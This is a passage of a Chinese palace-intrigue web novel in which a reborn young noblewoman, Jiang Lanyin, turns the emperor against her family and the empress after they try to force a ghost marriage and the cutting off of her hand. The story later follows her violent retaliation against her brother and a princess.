冷嬷嬷忙道:“皇上,您有所不知。不是娘娘心急,是……是靖威侯世子说,江姑娘与太子情笃,情愿结冥婚。谁知到了太子灵前,竟然反悔。才闹得如此不像话,惊动了皇上,也扰了太子殿下清净。” 顾辰枭看向江澜因的目光,愈发冷沉。 这小丫头前日还言之凿凿,愿为太子殉葬。如今,不要她死,只是要她结冥婚,往后为太子守贞。她竟不愿意? 莫非之前,都是装的? 顾辰枭不喜欢太过有心机的女子。他冷了脸,“事情闹得太难看了。” 话是对何皇后说的,眼睛却看着江澜因。 显然是怪她。 皇帝身后,东宫统领太监李渔无声地摇了摇头,暗自叹气。 他拿了江澜因的银子,答应帮一把。今日便是他想法子引皇帝来。不想…… 这江姑娘,对上皇后娘娘,竟吓得连一句话都辩不出来。 不中用啊! 顾辰枭收回目光,再也不愿多看江澜因一眼,“把人送出去,往后再不许她进宫。” 上次皇帝不准江澜因进宫,是私下里说的,不伤她颜面。 如今却是当着皇后等众人的面说出来。不出半日,消息便会传遍京师,江澜因的名声就全毁了。 她猛地抬头,张了张嘴,似乎要说什么,最终还是咬唇忍住。 “臣女……谢恩。” 江澜因挣扎着,从地上爬起来。可似乎是因跪得太久,她双膝一软,撞在身后一个嬷嬷身上。 “当啷”一声。 从那嬷嬷袖口处,一把短刀滑落在地。 寒光闪闪,刺人眼目。 顾辰枭勃然变色,“冥婚而已,怎会有此凶器?” 何皇后拧眉,不语。 冷嬷嬷忙道:“皇上,这是行冥婚的礼器,伤不了人的。” 这次,顾辰枭看向江澜因。只见小姑娘站稳了身子,脸色煞白,下意识离那柄短刀远远的,十分害怕的模样。 “因因,你说,是真的吗?” 江澜因眼神飘忽,手指紧紧攥着袖角,无意识地拧动。 “……是。皇上,冷嬷嬷说的对,这刀……是礼器,只是要取臣女指尖血……” “取指尖血,你怕什么?”顾辰枭不依不饶。 江澜因脸色愈发苍白,“臣女怕、怕疼。” 顾辰枭眸子一暗,想起太子灵前那一幕。 小姑娘也是这样,大大的眼中蒙着氤氲的水汽,带着颤抖的哭音,说自己怕疼,小声哀求。 心口微悸,眸光转向何皇后时,多了一份冷锐。 “礼器刀刃多是金玉制成,伤不了人。皇后,你当朕是傻子。” 何皇后伴驾多年,没挨过这么重的话,脸上血色顿时褪去,却闭紧了嘴唇,什么都不说。 冷嬷嬷哭道:“皇上,娘娘她没有!她真的没有啊!” “不说?好。” 顾辰枭一个眼神。 李渔招呼东宫侍卫进来,扭住嬷嬷手臂,压着她脸颊紧紧贴在地上。“你们要做什么?说!” 那嬷嬷眼神乱瞟,看向皇后,又马上移开。“……是、是奴婢不小心带进来,与皇后娘娘无关。” 这一幕被顾辰枭看在眼中,他冷哼一声,“既然这么不小心,九族也不必要了。” 嬷嬷顿时脸色惨白。 “不、不是!奴婢……” “够了。” 何皇后出声打断,“皇上,都是臣妾的错。咱们的言儿,他、他是在战场上出事,尸骨无存。臣妾是怕他在那一世里,叫人欺负。高僧指点过,若有与他亲近之人,甘愿舍一只手出来,便能在阴世里护住太子。臣妾只是、只是……舍不得言儿死了,还要受苦……” 说着,眼眶通红得快要滴出血来。 冷嬷嬷连忙膝行,扶住何皇后,哭着哀求:“皇上,此事原就是靖威侯府肯的,才把江小姐送了进来。皇后娘娘,她也是无法啊!” 顾言泽是替皇帝御驾亲征北疆,本是大胜,不想马上就要班师回朝,却出了事。 提起此事,顾辰枭只觉胸口一阵阵剧痛。 若不是替他,言儿又怎么会死? 冷嬷嬷察言观色,知道皇帝想起太子只会心软,又道:“九泉之下,太子殿下不会怪皇后娘娘。老奴反倒要问靖威侯府一句,为何出尔反尔,害娘娘平白伤心?” 江澜因飞快地笑了一下。 不愧是何皇后身边最得脸的嬷嬷,好一张利口,三言两语,把锅全甩到了自己身上。 她眨了眨眼,眼中涌出更多泪水,一张小脸全湿了,楚楚可怜。 “不,不可能!” 江澜因纤细的手指按着心口,心痛难耐的模样。“你这嬷嬷,定是胡说的!我爹娘、大哥最是疼爱我至极,怎会……怎会明知如此,还要送我进来,断我一只手?你骗我,你骗我的,对不对?” 顾辰枭眉心拧紧。 刚才事关自己性命安危,这小姑娘咬紧了牙关,一声不吭。还想帮皇后隐瞒。 可事涉家人,她却忍不住了。 江澜因哭得胸前衣襟湿成了一片,她扬起小脸,目光将众人挨个看过,最后定格在顾辰枭脸上。 像是走投无路,绝望之际,只能向他求助。 “皇上,臣女的大哥哥就在外面,您叫他进来问个清楚!” 第7章 大哥被踹口吐鲜血 第七章 大哥被踹口吐鲜血 江慎很快被叫进来,跪在堂下。 “微臣见过皇上、皇后娘娘。” 他这个年龄,已是一等御前带刀侍卫,天子近臣。只等着年资渐长,不犯大错,早晚会被指出去做官,是个极好的前程。 请安毕,江慎跪了片刻,只觉凉气侵入膝盖。 没人叫他平身。 冷寂中,冷嬷嬷得了何皇后眼神,刚要开口。 一声压抑的哭声响起。 “大哥哥,你说!你告诉皇上、皇后娘娘,今日把我封在棺材里送进宫中,是要我断手。此事,爹娘不知情,你事先也不知道的。对不对?” 江慎抬头。 只见江澜因那只右手好端端的,还在。 头上金钗却是撞歪了,几缕碎发,散在腮边。脸上湿湿的,一双眼睛通红通红。 显然是刚痛哭过。 身上衣裳虽未换,却和在侯府时的嚣张,判若两人。 想来是…… 被皇后磋磨得够呛。 看她这可怜的样子,江慎只觉出了一口恶气。谁叫她害死师师表妹?这是江澜因应得的,报应。 “江澜因,你是太子准妃,本应为殿下殉葬。如今,皇后娘娘只是要你一只手随葬于地下,已是仁慈……” 江慎的话没说完,被冷嬷嬷打断: “江世子慎言!皇后娘娘没有要江姑娘的手,是侯府……” 她拼命给江慎使眼神,万没想到他竟这么蠢,当着皇帝的面,什么话都敢胡说! 江慎一愣,想要反口。 顾辰枭冷哼一声。顿时无人再敢开口。 “江慎,你明知道你妹妹被送进来,是要断手,这是影响往后一辈子的大事。你还要送她进来?” 皇帝威势极盛,江慎心口一慌。 不对啊…… 皇帝爱重太子至极,他们江家让江澜因舍出一只手陪太子于地下,皇帝知道了,该感念江家的忠心才是。 怎会怪罪? 心中慌乱,江慎急忙开口解释:“皇上,臣只是忠君……” 话未说完。 被龙纹千层底靴一脚踢在心口。 猝不及防,江慎瞬间被踢得横飞出去老远,在地上翻了几个跟斗,才勉强稳住身形。 忍着剧痛,难以置信地抬头,“皇上,为何……” “蠢材!” 憋了半日,被反复拉扯的怒气,瞬间爆发出来。 顾辰枭脸色冷厉,“好一个忠君!这么残忍卑劣的事,你推到朕身上?” 皇帝到此刻,已经全明白了。 江澜因是小姑娘,心思单纯,听不懂。他这个皇帝,岂能就这么简单被糊弄住? 要江澜因断手的事,皇后不敢认,推给靖威侯府。侯府势弱,想必也不敢得罪何家,还要巴结,甘愿舍出亲女儿、亲妹子来换前程! 这里面,谁都有错。 唯有江澜因,无辜,可怜至极! “好一个靖威侯府!”皇帝咬牙冷笑,“男儿不知上进,光知道弄这些歪门邪道!” 江慎脸色如地上的继续一般,煞白煞白。 他张了张嘴,还想解释什么。 却听得皇帝的话,如雷霆一般砸下来: “这样的蠢材,不配在朕跟前伺候!给朕滚出宫去!扒了他一品侍卫的衣裳!” 竟是贬官!一贬到底! 江慎心口剧痛,眼前一黑。 “哇”地一口鲜血,全吐在身前地上。 身子摇晃了一下,竟是晕了。 顾辰枭又看向皇后。 皇后脸色难看至极。 冷嬷嬷忙道:“皇上,娘娘真的以为江小姐是自愿,娘娘是要成全她啊!早知道江小姐不愿意,娘娘又岂会为难太子心爱的女子?娘娘是被侯府骗了呀!” 提到太子,顾辰枭心口怒气稍减。 身旁,一阵香风掠过。 顾辰枭一回头,却见江澜因满脸是泪,不顾太监宫女的阻拦,要去扶晕倒在地的江慎。 可还不等她跑到江慎身边,纤细的身子一晃,大红裙摆在半空中划出弧线。 软软地倒在地上。 顾辰枭急上前几步,扶住江澜因,把她打横抱起。 小姑娘脸色苍白,没一点血色,唯有眼尾,哭得通红通红,楚楚可怜。 皇帝没再看皇后一眼,抱着江澜因,径自离去。 留下何皇后在原地。 许久,她身子一晃,险些跌倒。 冷嬷嬷连忙扶住,“娘娘,仔细自己的身子!您是为了太子殿下,皇上没怪您,您别往心里去……” 何皇后一双眼睛死死盯着皇帝离开的方向,声音嘶哑: “他叫她,因因。” “什、什么?” 冷嬷嬷一愣,马上反应过来,也大惊失色。 江澜因是太子准妃,什么时候跟皇帝走得这样近了? 何皇后咬牙,涂着大红蔻丹的指甲,在袍角刺绣凤羽上抓出痕迹。 “去查!给本宫查清楚,那贱人,是什么时候勾引了皇上!” “是、是!”冷嬷嬷看了一眼还晕在地上无人理睬的江慎,“这,江世子呢?” “没用的东西!给本宫扔出宫去!” 御书房后的隔间里。 江澜因羽睫轻颤,慢慢睁开眼睛。 身边伺候的宫女立时上来,“江姑娘,你醒了。付太医已来看过,说你是受了惊吓刺激才晕倒的。往后好好儿养着,便没事了。” 这付太医是太医院院首,平日里只负责给顾辰枭看诊。 江澜因垂了眸子,声音绵软,“多谢……这位姐姐。” “奴婢有什么?是皇上的恩典。”宫女捧出衣饰来,“江姑娘觉得怎样?若身上好些,奴婢服侍姑娘更衣,皇上等着姑娘说话呢。” 江澜因身上的嫁衣已被换掉。 她身穿白色中衣,任宫女为她披上鹅黄色团花窄袖上襦,墨绿色织金长裙,胸前两条飘带垂落,勾勒出少女纤细身形。 又为她重新梳好发髻。江澜因只用素银簪子,婠住青丝。 进了御书房。 顾辰枭只觉眼前微亮。 一身大红嫁衣的江澜因,美得明艳、张扬。现在换了宫装,配上素银簪,又显得素雅、清纯,邻家小妹一般。 每次见她,都与之前的印象不同。 轻咳一声,顾辰枭道:“刚才,为何不与朕说实话?你怕朕不肯帮你,也要砍你一只手?还是畏惧皇后?” 江澜因樱色的小口张了张,垂眸黯然道: “不是……臣女不是怕皇后娘娘。只是……可怜她。” 顾辰枭一愣,“你?可怜皇后?” “是。臣女的表妹去了,臣女的娘亲在家中,也是日日都这般哭。臣女想,天下女子但凡做了母亲,心里眼里就只有自己的孩子,不顾旁的,本也没错。” 顾辰枭定定看了江澜因一眼。小姑娘到底年纪小,不知道自己的话,只是表相,根本经不住细推敲。 太子不是皇后亲生的孩儿。 侯府那位表姑娘,自然也并非侯夫人所生。 她们却借着孩子死了,一再地闹。 不易察觉地皱了皱眉头,顾辰枭道:“不一样。朕是太子的父亲,太子去了,朕也很难过。可不能因为难过,就什么都不顾,一味胡搅蛮缠。这是给太子的身后名抹黑。” “……臣女知错了。” “你何错之有?”顾辰枭闭了闭眼睛,再睁开,只是道:“就连皇后,也只是爱子心切,太伤心了。你,不要怪她。” 这意思,是皇后那边,不会再追究。 江澜因乖巧地应是。 心中冷嗤,她也没想着仅凭这一件事,就扳倒何皇后。 这不过是为帝后夫妻相伴的生活中,添点小堵罢了。 “至于,江慎……” 江澜因猛地抬头,眼圈又红了,“皇上,大哥哥他从前很疼我。他定是、是有苦衷的,求您不要怪罪……他刚才吐血昏厥,现在怎么样了?” 第8章 训斥!夺职!侯府天塌了 第八章 训斥!夺职!侯府天塌了 “你啊……” 顾辰枭深深看了江澜因一眼。 这小姑娘,心思太单纯,还看不出来。什么有苦衷?江慎此举,不就是为了卖了亲妹子,巴结后族吗? “江慎做错事,就该他自己承担。朕褫夺了他的官职,你怨朕吗?” “臣女不敢。” 江澜因纤细的十指交叠撑在地上,她光洁的额头抵上去。 顾辰枭逼问,“是不怨,还是不敢怨?” 小姑娘没言语。不过片刻,发出轻轻的啜泣声。 顾辰枭皱眉。 怎么又哭了? 搞得好像他这个当皇帝的,总是欺负十几岁的小姑娘。 看着江澜因微微颤抖又强行抑制的肩膀,顾辰枭暗暗叹了口气。 靖威侯府能把女儿送进来结冥婚,想必这江澜因平日在府中,日子过得也未见得有多好。 沉吟片刻,顾辰枭开口: “江澜因,你这个太子准妃的位置,是言儿跪在地上跟朕求来的。如今,他已是去了,留下你一个人在世上,朕的言儿,定希望你能过得很好。” 这一刻,顾辰枭相信,自己和顾言泽的想法都是如此。 “朕也不希望你再受什么磋磨。等太子丧期满,朕为你指婚。” 江澜因脊背猛地一颤,难以置信地抬头,“皇上?” “怎么,你不愿意?” 对上皇帝幽深的眸子,江澜因咬着嘴唇,半晌才颤声道:“……没有,臣女没有不愿意。” 见江澜因这么简单就答应了,不知为何,顾辰枭心中升起一丝不悦。 她口中说与太子情深义重,甘愿为太子殉葬。可如今,只是自己的一句话,她就要另嫁他人。 这样的女子,生性太过于轻浮。 根本不配高位。 顾辰枭眸色转深,“既然你愿意,朕想把你嫁到岭南,你意下如何?” 距离京师千里之遥,去了,只怕一辈子都回不来。 顾辰枭死死盯着江澜因,等她的答复。 江澜因眼圈红了,这一次却忍住了泪。 “皇上是再不愿见臣女,臣女心里清楚。把臣女远远地指出去,不在皇上跟前,臣女愿意。” “这么说,你愿意嫁,倒是为了朕?” 顾辰枭目光和缓下来,“江澜因,你家中是怎么教你的?你会为朕想,为皇后想,为你哥哥想,怎么就不知道为自己想一想?岭南酷热,与京师气候不同,一年四季都有毒瘴。以你的身子骨儿,去了别想活着回来。” “臣女都知道。” 江澜因倔强地攥紧了手指,“皇上让臣女去,臣女就去,刀山火海也去,就算一辈子回不来,也去。” 顾辰枭没看过这一贯胆小的丫头,这么倔强的一面。 他愣了愣,心中对她的执拗升起火气来。 “好好好!朕成全你!” “来人,现在就送江姑娘出宫!” 江澜因走后。 御书房静得针落可闻。 好半晌,才见一个年长宫女,抱着江澜因换下来的嫁衣,快步走过。 在东宫门口,正撞上李渔。 李渔目光在那嫁衣上一转,脸上堆了笑,“这位姑姑,做什么去?” “江姑娘换下来的衣裳,按规矩要烧掉。” “这么好的衣裳,这么精致的绣工,烧了可惜。”李渔摸出银子来,塞在那宫女手里,“姑姑行个方便。” 嫁衣拿在手里,李渔转回自己平日里歇息的耳房中。 脸埋进嫁衣里,深深地吸了一口气。 真香。 靖威侯府。 江澜因被送回来时,侯府已乱作一团。 她一进门,就被带去江慎的凌云阁。 文氏一见江澜因,哭着扑过来,“你大哥好好儿地出去,怎么是昏迷着叫人抬回来的?可是在宫中出了什么事儿?是不是你、是你触怒了皇后,惹下大祸,害了你哥哥?” “娘说什么呢?” 江澜因浅笑,“是大哥自己蠢,触怒了皇上,又得罪皇后,被打了出来。与我无关。” “你、你!”文氏指着江澜因鼻间,“你胡说!你大哥都伤成这样了,你还污蔑他?定是你害得,你这个灾星,克亲人!” 这话,前世江澜因从小听到大。 文氏但凡有些不顺,便说是江澜因命硬,妨克到了她。江澜因一直愧疚,自责,又不知道该怎么办才好。 如今再听这话,简直笑话一样。 “娘愿意怎么想,就怎么想吧。我刚从宫中回来,也累了,要去歇息。” 说罢转身要走。 靖威侯起身,拦住,“站住!江澜因,你和你大哥是至亲的兄妹,同气连枝,他不好,你能好?到底出了什么事,你说清楚。” 江澜因站住,樱粉色的莹润唇角微微上挑,眼中全是盈盈笑意。 “父亲也知道我与大哥同气连枝?为何要纵着大哥押我入宫,要我结冥婚,守寡,还要断我一只手?那时候不记得我和大哥是至亲之人了?” “你……” 靖威侯脸色难看,说不出话。 文氏哭喊:“都这个时候了,别扯那些没用的!你大哥他到底是怎么受的伤?江澜因,你给我说清楚!” 她尖利的哭声,直刺耳蜗,让江澜因心烦。 “娘不必问我,且等圣旨吧。” 侯府在不安之中熬了一日,第二日一早,圣旨到。 逆着光,宣旨太监声音尖锐: “……今靖威侯府世子江慎,恣睢失检,戕害弱妹,谄附权要,乖戾天伦!着即褫去御前侍卫职衔,幽居侯府,省愆思过。” “另有靖威侯江殊城,世沐国恩,职膺藩屏。却纵子孙以逞凶顽,失门庭之检束。着罚俸半岁,闭门思过,以整肃家规。” “钦此!” 江慎被夺了职位。 靖威侯被训斥,罚俸。 父子两个一起闭门思过! 这是盛京世族中,从未有过的。可见皇上是动了真气。 靖威侯双腿发软,若不是下人从身后顶着,几乎站不起来。 满手冷汗地接了旨,打发走传旨太监。 文氏捶着心口哭喊:“我可怜的慎儿,他、他到底是做了什么,怎被罚得这样重?御前没了他的位置,将来可怎么入仕?” 一回头,瞧见江澜因站在一旁,神色淡淡的。 文氏咬着牙扑上去,“圣旨上说慎儿戕害弱妹,是你!是你害得他,是不是?你这个没良心的,他是你亲哥哥啊!” 抬手要打。 一旁,靖威侯也只是冷冷看着,面色不愉。 圣旨都这样说了,想来是江澜因在宫中告了状。这个逆女,害了她大哥不够,还要害他这个父亲。 让她吃些教训,也是应该的。 下一刻。 文氏腕子被江澜因一把擎住。 靠得近了,文氏才看清楚,女儿脸上,竟满是笑意,明媚得几乎要灼伤她的眼睛。 “娘若在我脸上身上留下伤痕,皇上若是问起,我该怎么说?” 第9章 侯府只能指望她了 第九章 侯府只能指望她了 “你大哥被你害成这样,你还敢说这样的话?皇上岂会在意你?” 文氏满脸是泪,心疼得浑身都打哆嗦,“你去,进宫!现在就去!跟皇上、皇后娘娘辩白清楚,保下你大哥的官职!就说都是你的错,去啊!” 江澜因笑了一下。 一双与文氏像极了的美眸,转向靖威侯。 “父亲,既然娘这样说,女儿便去了?” “等等!” 靖威侯瞪了文氏一眼,“你一个女妇人家,你懂什么?如今圣旨已下,金口玉言,岂是她一个小丫头能肆意更改的?你让她进宫,岂不是明摆着告诉皇上,咱们侯府对圣旨不服!你不想活了?” 一番话,说得文氏哭得更加厉害: “可咱们的慎儿怎么办?难道真的要被夺官,他将来可如何是好?” 哭声刺耳,靖威侯只觉头疼。 “夺官是一时的。” 江家有爵位代代传承。江慎就算没了官职,也是堂堂侯府世子,将来还可以袭爵。他只要慢慢儿等,寻着机会,起复总是不难。 如今,当务之急,是弄清楚那一日在宫中到底发生了什么,触犯了龙鳞,把皇帝气成这样。侯府好想法子弥补。 可现在,江慎昏迷不醒。 靖威侯看向江澜因,眸光一闪。 他想起来,女儿两次进宫,每次出宫回府,身上的衣裳都不一样。 为何要在宫中更衣?除非是…… “因因,你是好孩子,同爹说实话。皇上他,真的与你……” 文氏听了,瞪大眼睛,“侯爷,现在出事的是慎儿!你、你还要被这个逆女欺瞒?” 江澜因对文氏笑了一下,才看向靖威侯。 她面上恰到好处地浮现两朵红云,“女儿什么时候骗过爹娘?” “可、可若是真的,咱们养在宫中的人,岂会不知道?” 江澜因漆黑的凤眸,望向他二人,轻轻地笑了。 “侯府在宫里养的人若果真管用,昨日就不必问我,大哥到底出了什么事儿了。” 靖威侯一愣。 也是,昨日江慎浑身是血,被下人从宫门口抬回来。那时节,他便一早派人与宫中的线人接头打听去了。 到现在,圣旨都到了侯府,宫中还是没有确凿的消息传出来。 可见不中用。 江澜因眸光一转,皱眉,佯装出几分担忧。 “爹,如今大哥开罪了帝后,表妹也自戕而死。咱们侯府这一代,没有出色的小辈。您和娘,将来只能指望女儿了。女儿也是为了侯府。” 靖威侯本有两个弟弟,他承袭爵位后,那两房早已分家出去,少有联系。 侯府虽有几房妾室,可没有庶子出世。唯有文氏膝下有一子一女,算得上是人丁稀薄。 江澜因这话,激怒了文氏。 “胡说!你这是胡说!你大哥他不过是一时的不顺,你也配说他不行?还有,你表妹……” 文氏顿住口。 看见江澜因黑沉沉的眸子,含笑向她转过来。 “娘,您说什么?表妹她不是死了吗?莫不是,死人还能活转过来,还能叫您指望得上?” 文氏猛地一愣,嘴唇颤了颤,“你这孩子,浑说什么呢?你表妹她尸骨未寒,你却说这种话打趣她,你简直没有心肝。” 她目光闪烁,不敢与江澜因对视。 前世今生,到此刻,江澜因才真正确定—— 表妹假死,文氏一早就知道。 明知道,还要说是江澜因怯懦,害死了她。 前世那一杯酒下了肚,文氏才告诉江澜因: “皇上怜你守节辛苦,要册你为贵妃,赐号为贞。可你没了一只手,已是残了。天家岂能有四体残缺的妃嫔?让天下人怎么看你?让你表妹日日看见,平白心里难过。” “因因,唯有你死了,皇上才会记起侯府的好。这一世委屈你了,下辈子还来做娘的女儿,娘再好好儿疼你。” 窒息感仿佛还存在心口,江澜因定定看向文氏,突地笑了。 娘啊…… 这辈子,我又来做你的女儿了。 这次轮到女儿,好好儿疼你、孝顺你。 靖威侯看向文氏,神情带了些许不耐,“师师是个好孩子,可也已经入土为安,不必再提。” 他为人自私自利,只在乎权势。无论是江澜因,还是文师师,若没了利用价值,便都不重要。 靖威侯转向江澜因,心中已经打定了主意。 “你如今,就在兰蕤院好生住着,缺什么少什么跟爹说。若是……若是宫中有旨意,爹爹亲自送你进宫。” 文氏眼神闪烁,神情十分不甘。 靖威侯看她一眼,她又不敢说话了。 “至于慎儿,就让他好好儿养病。身子好了,再谋事做。咱们侯府,是百年基业,总不能一点打击,就一蹶不振。不至如此的!” 回到兰蕤院。 院中四个大丫鬟,八个小丫鬟,六名梳妇人发髻的下人,齐齐站在院中。 见江澜因来了,一齐跪下行礼请安。 都是从前伺候过文师师的人。 另又有管家送了院中银子来,和从前给文师师的一样多,是侯府嫡小姐的月例。 江澜因扫了一眼,依旧只叫自己原来的两个丫鬟春枝、雪色,贴身伺候。 余下的丫鬟都在外院,不得呼唤,不可入内。 真正立住了侯府千金大小姐的威势。 重生一世,江澜因对爹娘亲情没有期待,反而能把靖威侯的性子看得一清二楚。 对他而言,最重要的是权势。 其次,是他唯一的嫡子,江慎。 只是,不知道这两者要是起了冲突,靖威侯又会偏向谁。 当日晚些时候,小厮报进侯府。 “……侯爷,咱们在西街上的酒楼,和长乐坊的三间铺子,都叫人给封了!伙计也被打伤了几个,掌柜的都被拿进天牢……” 损失惨重至极! 气得靖威侯直跺脚。可查明了背后指使的是何家,他却连上门去讨个说法都不敢。 江澜因听了,只是笑。 这是何皇后的报复。 江慎原本要用江澜因一只手献祭,搏皇后欢心,抱上何家这条大腿,想要青云直上。 如今却是鸡飞蛋打,又被皇后嫉恨,什么都没落着。 听说江慎刚醒,听到这消息,又气又怕,竟又晕了过去。 文氏几乎哭得晕厥,逼靖威侯拿牌子入宫,请太医。靖威侯不敢去,夫妇两个大吵到深夜。 江澜因边喝茶边远远地听,娇美小脸上慢慢浮现出笑容,只觉他们怒吼哭泣的声音,悦耳如天籁。 春枝为她点茶,和田玉杯中,茶汤醇厚如琥珀。 她低声道:“……到底私底下请了太医来。说世子是大惊大怒,刺激得血不归经,才会呕血昏迷。好好儿养上一阵子,总归没事。只是,不可多思,操劳。” 雪色听了,笑道:“他有什么好操劳的?身上官职都没了。” “别胡说,他毕竟是侯府世子。这话传出去,你不要命了?”春枝性子沉稳,训斥道:“小姐还不知道,刚才,清河郡主探望世子来了。” 清河郡主顾嫣然,前世江慎的正妻。 江澜因放下茶盏。 “会会她去。” 第10章 掌掴郡主,她疯了? 第十章 掌掴郡主,她疯了? “小姐,别去。” 雪色性子急,拦着。“那清河郡主对世子心思极重。她娘是皇后同族胞妹,素来最得皇后宠爱,性子养得跋扈,奴婢只怕……” 怕江澜因在她手里吃亏。 前世,顾嫣然与江慎、文师师要好,素来不待见江澜因。每每见面,都要拿出皇家郡主的架子压她,让她行大礼,跪在地上半晌不许起来。 “小姐,郡主惯会拿礼法大义磋磨人。她不来找咱们,咱们还是不去吧?” 春枝也跟着劝。 “无妨。”江澜因笑笑,“以她的性子,看到江慎那样,岂会不来找我?与其被动,还不如迎上去。” 江慎的兰亭轩。 清河郡主进去不久,里头便传来隐隐哭声。 “阿慎,你怎么……伤成这样?” 病榻上,江慎苍白着脸,见到郡主垂泪,又咳了几声。“身上有什么伤病都不要紧,我不怕。只是担忧,没了御前侍卫的职位,只怕将来难以入仕。郡主,慎往后配不上你。” 说着,别过脸去用力咳嗽,露出自己清俊的侧脸线条。 顾嫣然看了,只觉心尖发疼。 “阿慎,你好好儿养病,别担心那些有的没的。我去同姨母说,求皇上收回成命。你和你妹妹再如何,也不过是侯府家事。是江澜因不懂事,才闹到了御前,不是你的错。” 江慎得了郡主这句话,心中一松。 拧眉道:“是我从前太纵着,叫她不知好歹……” 话未说完,门口处传来一阵环佩叮当。 一把清冷的女声响起:“大哥纵过我什么?用朱漆棺材封着我,送我进宫,还要断我一只手。这是纵我?” 清河郡主听说江慎受伤就急火火来了,不知道到底发生了什么。闻言微微一愣。 江慎面色难看,看向江澜因的目光恶狠狠的。“你是太子准妃,现在太子薨了,你却好好儿活着。一点表示都没有,叫皇上平白觉得咱们侯府是没心肝的东西!” “大哥有心肝,怎么不用自己的手,要用我的?” “我和你怎么一样?我将来还要入仕、做官,怎能身体残缺?” 江澜因闻言,微微侧头。头上簪着的红宝石流苏垂落下来,依傍着脸颊,微微荡漾。 她樱色的唇角翘起,“大哥现在不用入仕,将来也不必做官。你的手也能陪葬了,是大好事。” 一句话,直戳江慎心口。 他脸上变了颜色,觉得心口被皇帝踹过的地方一阵阵地发疼,说不出话来。 一旁,顾嫣然最初的惊诧过去,也拧眉道:“江澜因,你大哥病着,你怎能故意说这样的话,气他?” 看着江慎按着心口,脸色苍白的样子,顾嫣然又气又心疼。“我听说你大哥病了好几日了,你却不来侍疾。这是不孝不悌,该用家法狠狠罚你,方才能正侯府家风。” 江澜因面上还保持着优雅的笑容,没有一丝改变:“敢问郡主一句,可要用郡主王府里的家法?” “你浑说什么?就你也配?自然是用你们靖威侯府的家法。” “原来郡主也知道,这里是侯府,是我家。闯到别人家中,与别人儿子私会,还要打被人女儿。郡主自己就很懂孝悌,很明尊卑了?” 这话说得放肆极了。 顾嫣然直接变了脸色,“江澜因,你好大的胆子!” 她自己不屑动手,一个眼神给到身边丫鬟。丫鬟挽起衣袖过来。 “啪!” 一记耳光,掀在江澜因脸上。 她柔嫩的小脸,瞬间红肿,脸颊上指印清晰可见。唇角渗出血来。 见状,江慎才止住了咳嗽,冷哼一声,“冲撞郡主,只是打你一耳光,还是轻的。原该拖出去,打板子。” 前世便是如此,江慎总以自己年长,平日里处处用礼法压着江澜因。打她罚她,还要说成是为了教她规矩,是为她好。 阴狠,又虚伪至极。 江澜因捂着脸,慢慢站直了身子。 樱粉色的舌尖,飞快地舔了一下受伤的唇角。 血的味道,甜甜的。 江澜因抬起手来,用尽全身力气。 “啪!” 直接还了清河郡主一记耳光。 清脆的耳光声落下,江慎房内,寂静得针落可闻。 江慎眼睛猛地瞪大,“江澜因,你、你疯了?!” 郡主从小被娇养到大,什么时候吃过这种亏?她被一巴掌打得傻了,眼中扑簌簌落下泪来。 “本郡主要进宫!告诉皇后娘娘!让姨母杀了你,把你千刀万剐!” 清河郡主一跺脚,哭着直接冲了出去。 江慎从榻上撑起身子,“江澜因,你、你这是闯了大祸!你可知道?你……” 他还要说什么,却见江澜因一步步朝他走来。 摇曳的烛火,把女孩纤细的身影投下。江慎眼前,一片暗色,叫人平白心里发沉。 江慎皱眉,“你疯了?你、你……你要干什么?” 江澜对对着他那张虚伪的脸,高高扬起手来。 江慎虽是带刀侍卫,可他是世家子拔擢上来,从不曾用心操练,更不会功夫。甚至在侍卫队里,算得上文弱。 如今又被皇帝一脚踢去了锐气,伤病在身,一时间竟躲不开江澜因。 他虚张声势,“你不敢!” 江澜因的手,慢慢垂落下来。 江慎心中方才舒了一口气。被妹妹打一下,本没什么。只是说出去丢脸…… 所幸,她到底还是怕自己这个大哥…… 下一刻,江慎猛地瞪大的眸子中,映出江澜因纤细的身影。 只见女孩揉了揉掌缘,嘟囔了一句,“手疼。” 操起案上一支铜雀烛台,双手拖着,向江慎脸上直挥过来! “啊!” 顿时,屋内弥漫起血腥气。 比刚才的,更甜。 “江澜因,你疯了……你怎能、怎能……我的脸!” 靖威侯、文氏赶来时,正听到长子崩溃的吼叫声。 “慎儿,你的脸!” 文氏一见儿子脸上从颧骨到唇角那么长一道伤口,还流着血,险些晕厥过去。 她缓过神来,对着江澜因哭喊:“疯了!你一定是疯了!你敢对郡主动手,还敢伤你哥哥!侯爷,江澜因这是失心疯,不能再留在侯府,会为我们招祸!” 靖威侯更是又惊又怒,“逆女,你这次太过分了!不罚你,郡主跟前说不过去!” 他们哭骂着。 却只见江澜因倚在床边,借着白雪倒映进来的光,闲适地翻着一本诗集。 “逆女,你……” 书页在纤细的指间翻动,江澜因笑了:“爹,娘,怎么办呢?女儿掌掴郡主,又伤了大哥,女儿是疯了。” 她眼中锐光一闪,依旧笑着,“可女儿姓江,是这侯府的千金小姐。女儿获罪,您二老,还有大哥,全都好不了。咱们一家子素来和和睦睦,娘也思念表妹,不如……” “就一块儿去死吧。” 她就快要笑出眼泪来,身子摇摇晃晃,如沐雨的花枝。 没有丝毫畏惧。 靖威侯彻底沉了脸色,“你这是疯话!” 他唤人进来,要把江澜因拖下去,先领家法。打残了,再拖去郡主跟前赔罪。 一道尖细声音,自门外传来:“宫里有旨,宣江姑娘进宫!” 第11章 她做过的事,皇后查到了 第十一章 她做过的事,皇后查到了 进宫? 江澜因笑了。 旨意来得真快。 不愧是清河郡主,也不枉她这一番筹谋。 一旁,靖威侯和文氏也变了脸色。 靖威侯心思变换,亲自迎上去,“老公公,这……不知是皇上宣召小女,还是……” “侯爷想什么?皇上岂会平白传召一个闺阁女子入宫?自然是皇后娘娘。” 靖威侯脸色沉了沉,从袖口摸出银锭子塞进那太监掌心。 “老公公,小女她近日频频入宫,给皇上、皇后娘娘添麻烦。还请照应……” 这话,不过是试探。 银子在太监手里一转,就不见了踪迹。 紧绷的脸颊松快了些,那太监压低声音,“皇上、皇后娘娘看重侯府。皇上还说,不愿江姑娘为太子守寡,虚度一生,要为她指婚。这可是天大的恩典。怎么,这话江姑娘回来,没和侯爷、侯夫人提起过?” 皇帝要为江澜因指婚? 那不就说明,江澜因入宫,彻底没了想头? “这逆女!” 靖威侯震怒,牙关咬得紧紧的,腮边横肉都突出来。 目送传旨太监带走江澜因,靖威侯向文氏道:“好个江澜因,皇上要为她指婚,她回家却一个字儿都不提!还欺瞒你我,说皇帝要纳她!我江殊城,怎么养出了这么个不孝的东西!” 